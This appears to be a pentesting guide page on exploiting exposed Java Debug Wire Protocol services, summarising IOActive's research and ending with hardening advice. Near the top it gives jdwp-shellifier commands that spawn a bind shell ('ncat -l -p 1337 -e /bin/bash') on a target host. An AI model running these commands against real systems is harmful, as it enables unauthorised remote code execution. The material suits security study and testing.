# Pentesting JDWP - Java Debug Wire Protocol

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## Exploiting

JDWP exploitation hinges on the **protocol's lack of authentication and encryption**. It's generally found on **port 8000**, but other ports are possible. The initial connection is made by sending a "JDWP-Handshake" to the target port. If a JDWP service is active, it responds with the same string, confirming its presence. This handshake acts as a fingerprinting method to identify JDWP services on the network.

In terms of process identification, searching for the string "jdwk" in Java processes can indicate an active JDWP session.

The go-to tool is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). You can use it with different parameters:

```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```

I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploit more **stable**. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

## More details

**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.


1. **JDWP Overview**:
    - It's a packet-based network binary protocol, primarily synchronous.
    - Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.

2. **JDWP Handshake**:
    - A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).

3. **JDWP Communication**:
    - Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
    - CommandSet values range from 0x40 to 0x80, representing different actions and events.

4. **Exploitation**:
    - JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
    - The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.

5. **Real-Life Exploitation**:
    - Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
    - The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).

6. **Security Implications**:
    - The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.


### **References:**

* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
* http://www.secdev.org/projects/scapy(no longer active)
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)

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